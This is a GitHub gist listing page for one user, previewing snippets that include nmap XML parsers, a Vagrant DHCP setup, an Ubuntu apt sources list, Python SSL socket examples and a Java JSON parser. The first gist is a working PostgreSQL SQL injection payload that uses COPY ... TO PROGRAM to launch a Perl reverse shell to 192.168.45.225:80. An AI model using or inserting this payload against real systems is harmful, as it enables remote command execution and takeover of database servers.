Skip to content

Instantly share code, notes, and snippets.

View david-botelho-mariano's full-sized avatar

David Botelho Mariano david-botelho-mariano

View GitHub Profile
@david-botelho-mariano
david-botelho-mariano / gist:929b243eb78b833ac4264c100c24a0da
Created March 31, 2024 04:34
postgresql reverse shell - one liner
id=1';COPY (SELECT '') TO PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.45.225:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; --
@david-botelho-mariano
david-botelho-mariano / remove-username-links.py
Last active October 2, 2022 14:58
remove @username from string using python and regex
@david-botelho-mariano
david-botelho-mariano / VagrantFile
Last active September 28, 2022 00:16
DHCP with Vagrant
# https://www.tecmint.com/install-dhcp-server-client-on-centos-ubuntu/
$script = <<-SCRIPT
sudo apt install isc-dhcp-server -y
sudo systemctl start isc-dhcp-server
sudo systemctl enable isc-dhcp-server
SCRIPT
class VagrantPlugins::ProviderVirtualBox::Action::Network
def dhcp_server_matches_config?(dhcp_server, config)
@david-botelho-mariano
david-botelho-mariano / sources.list
Created September 21, 2022 17:56 — forked from vczb/sources.list
Ubuntu 20.04 /etc/apt/sources.list
#deb cdrom:[Ubuntu 20.04.2.0 LTS _Focal Fossa_ - Release amd64 (20210209.1)]/ focal main restricted
# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.
deb http://br.archive.ubuntu.com/ubuntu/ focal main restricted
# deb-src http://br.archive.ubuntu.com/ubuntu/ focal main restricted
## Major bug fix updates produced after the final release of the
## distribution.
deb http://br.archive.ubuntu.com/ubuntu/ focal-updates main restricted
@david-botelho-mariano
david-botelho-mariano / baixar video do g1.globo.com
Last active March 24, 2022 18:45
baixar video do g1.globo.com
https://colab.research.google.com/drive/1_Jo6XfJaskp-286gzEs7Ma7WiFBzkyOj?usp=sharing
@david-botelho-mariano
david-botelho-mariano / nmap-2-domain&port.py
Created January 8, 2022 18:22
parse nmap result to "domain:port" format (nmap example.com -oX result.xml)
from xml.dom import minidom
xmldoc = minidom.parse("nmap.xml")
hosts = xmldoc.getElementsByTagName("host")
for host in hosts:
hostnames = host.getElementsByTagName("hostnames")
for hostname in hostnames:
@david-botelho-mariano
david-botelho-mariano / nmap-2-ip&port.py
Last active January 8, 2022 18:20
parse nmap result to "ip:port" format (nmap example.com -oX result.xml)
from xml.dom import minidom
xmldoc = minidom.parse("result.xml")
hosts = xmldoc.getElementsByTagName("host")
for host in hosts:
addresses = host.getElementsByTagName("address")
for address in addresses:
@david-botelho-mariano
david-botelho-mariano / cliente.py
Last active January 6, 2023 15:35
pure file transfer using ssl and python
#!/usr/bin/python3
import socket
import ssl
#importando biblioteca para trabalhar com sockets SSL
host_addr = '127.0.0.1'
#definindo o endereço do servidor alvo
host_port = 8082
@david-botelho-mariano
david-botelho-mariano / client.py
Last active November 25, 2021 22:49
the only working example of python socket with ssl
#!/usr/bin/python3
import socket
import ssl
host_addr = '127.0.0.1'
host_port = 8082
server_sni_hostname = 'example.com'
server_cert = 'server.crt'
client_cert = 'client.crt'
@david-botelho-mariano
david-botelho-mariano / JsonParser.java
Last active August 26, 2021 19:09
parse nested json without creating class using java
//<dependency>
//<groupId>com.fasterxml.jackson.core</groupId>
//<artifactId>jackson-databind</artifactId>
//<version>2.13.0-rc1</version>
//</dependency>
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.JsonMappingException;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;